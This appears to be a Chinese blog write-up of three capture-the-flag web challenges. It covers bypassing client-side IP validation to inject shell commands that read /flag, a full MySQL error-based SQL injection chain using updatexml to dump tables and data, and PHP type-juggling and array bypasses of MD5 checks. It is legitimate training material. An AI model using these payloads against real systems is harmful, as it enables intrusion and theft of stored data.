[LitCTF 2023]Ping、[SWPUCTF 2021 新生赛]error、[NSSCTF 2022 Spring Recruit]babyphp

[LitCTF 2023]Ping

尝试ping一下127.0.0.1成功了,但要查看根目录时提示只能输入IP

查看源代码,这段JavaScript代码定义了一个名为check_ip的函数,用于验证输入是否为有效的IPv4地址。并且使用正则表达式re来匹配IPv4地址的格式。

 对于这种写在前端的验证函数,直接禁掉 js 代码的调用就行(按F12后再按F1可见)

禁用JS后就可以正常使用命令读取flag

查看根目录    ls /

读取flag    cat /flag

[SWPUCTF 2021 新生赛]error

看一下源代码,看来捷径就是SQL注入,传参了id

输入1时正常回显,输入1'时报错

提示说   没有提示,考虑报错注入

判断闭合方式为'

 爆出数据库  test_db

?id=1' and updatexml(1,concat(0x7e,database()),3)--+

使用updatexml(1,2,3) 进行报错注入

MySQL提供的 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

爆数据表,提示子查询结果多于一行

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db')),3)--+

使用limit 0,1(第一张表),limit 1,1(第二张表)... ...

limit 0,1:表示从第0行开始,显示1行,从0开始计数

 爆出第一张表  test_tb,第二张表  users

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db' limit 0,1)),3)--+

爆数据列也是不止一列(第一列 id,第二列 flag)

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1)),3)--+

 爆出flag

?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb)),3)--+

发现得到的flag不全,这里使用函数substring解决返回字符串不完整问题

substring(group_concat(flag),1,30)

//解释为从第1个字符往后再显示30个字符

//group_concat()的作用:确保所有查询信息能放到一行显示出来

爆出flag后半段(这里从第30个字符开始往后再显示30个字符),拼接即为完整flag

?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(flag),30,30) from test_tb)),3)--+

[NSSCTF 2022 Spring Recruit]babyphp

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
//是否设置了名为"a"的POST参数,并且该参数不包含数字、不是空字符串,并且可以转换为整数。
  {
    if(isset($_POST['b1'])&&$_POST['b2'])
//是否设置了名为"b1"的POST参数,并且名为"b2"的参数也存在(这里没有使用isset,所以如果"b2"参数不存在,将会导致一个PHP警告)。
      {
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
//"b1"和"b2"两个参数的值不相同,但它们的MD5值相同(===强比较)。
          {
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
//c1"和"c2"两个参数的值不相同,并且它们都是字符串类型,它们的MD5值也相同。
                {
                echo $flag;        //以上条件均符合,返回flag
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

由源代码知,四个if条件均满足,可得到flag

第一个if,可用数组绕过,POST传参 a[]=1

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
//是否设置了名为"a"的POST参数,并且该参数不包含数字、不是空字符串,并且可以转换为整数。

 第二个if,b1=b2即可

if(isset($_POST['b1'])&&$_POST['b2'])
//是否设置了名为"b1"的POST参数,并且名为"b2"的参数也存在(这里没有使用isset,所以如果"b2"参数不存在,会导致一个PHP警告)。

第三个if,b1!=b2,但它们的MD5值相等

php中的== 弱类型比较,可通过hash比较的缺陷绕过:

两个数的md5加密后的值以0e开头就可以绕过

因为以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等

0e开头MD5值小结_0e开头的md5-CSDN博客

但此处是===强比较,参考记一次[NSSCTF 2022 Spring Recruit]babyphp-CSDN博客才知道这里同样要用到数组绕过。

如果md5() 中传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较(===)里面null=null为true绕过,b1与b2设置不同的值即可,此处传参 b1[]=1&b2[]=2 即可绕过。

if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
//"b1"和"b2"两个参数的值不相同,但它们的MD5值相同。

 第四个if,此处是php的==弱比较,就可以用hash比较的缺陷绕过,得到最终flag

POST传参c1=s878926199a&c2=s155964671a

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
//c1"和"c2"两个参数的值不相同,并且它们都是字符串类型,它们的MD5值也相同。

  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值